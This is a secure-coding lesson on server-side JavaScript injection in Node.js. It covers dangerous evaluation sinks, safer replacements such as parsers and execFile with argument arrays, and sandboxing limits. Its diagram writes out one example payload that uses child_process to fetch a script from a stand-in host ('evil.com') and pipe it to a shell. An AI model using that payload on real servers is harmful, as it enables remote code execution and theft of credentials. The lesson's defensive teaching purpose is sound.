Part II β The Shield Β· Lesson 3.11
Server-side JavaScript Injection (SSJI)
In one lineUser input reaches an evaluator on your Node server, and now they own the process.
Where you've seen itA reporting tool that lets users type a "custom formula", which the backend helpfully runs through eval().
Diagram
FROM REQUEST BODY TO ROOT β one hop
POST /report { formula: "1+1" } β intended
POST /report { formula:
"require('child_process').exec('curl evil.com/s.sh|sh')" }
βββββββββββ body ββββββββββββββββββ eval() ββββββββββββββββ
β Browser β ββββββββΊ β Node server β ββββββββΊ β full process β
βββββββββββ ββββββββββββββββββ β β’ env secretsβ
β β’ filesystem β
XSS = one browser tab β β’ DB creds β
SSJI = your entire backend β β’ internal β
β network β
ββββββββββββββββTHE SINKS β anything that turns a string into code
eval(str) setTimeout("code", 0) β string form
new Function(str) setInterval("code", 0)
vm.runInThisContext(str) require(userPath)
child_process.exec(str) β shell metacharacters
JSON deserialisers with template engines with
custom revivers unescaped interpolationSAFE ALTERNATIVES β same feature, no evaluator
need arithmetic? a parser (expr-eval, mathjs), not eval
need templates? auto-escaping engine, never string concat
need a subprocess? execFile(cmd, [args]) β array, no shell
need dynamic import? map a key to a fixed allowlist of modules
truly need sandbox? separate process + isolate + timeout + no netHow it works
- A request value flows into an evaluation sink without ever leaving string form.
- Node has no browser sandbox: the code runs with the process's full privileges.
require('fs'),process.env, andchild_processare one expression away.- Never evaluate user input. Replace the evaluator with a parser or a fixed allowlist of operations.
- If a sandbox is genuinely unavoidable, isolate at the process or container level with no network and a hard timeout β
vmalone is not a security boundary.
// β shell string β metacharacters execute
exec(`convert ${file} out.png`);
// β argument array β no shell involved
execFile('convert', [file, 'out.png']);Trade-offs
| Requirement | Safe approach |
|---|---|
| User formulas | Expression parser with a fixed function set |
| User templates | Auto-escaping engine, no raw interpolation |
| Plugin system | Signed modules, loaded from an allowlist |
| Untrusted code, truly | Isolated process/container, no network, timeout |
Interview angle
"How is SSJI different from XSS?"
- XSS executes in one user's browser inside the origin sandbox; SSJI executes on your server with no sandbox at all.
- Impact: session theft versus environment variables, database credentials, and lateral movement.
- Both come from the same root cause β data reaching an interpreter β but SSJI has no recoverable blast radius.
Recap
- Any string-to-code path on the server is a full compromise, not a bug.
- Replace evaluators with parsers, and shell strings with argument arrays.
vmis isolation, not security; use process-level sandboxing if you must.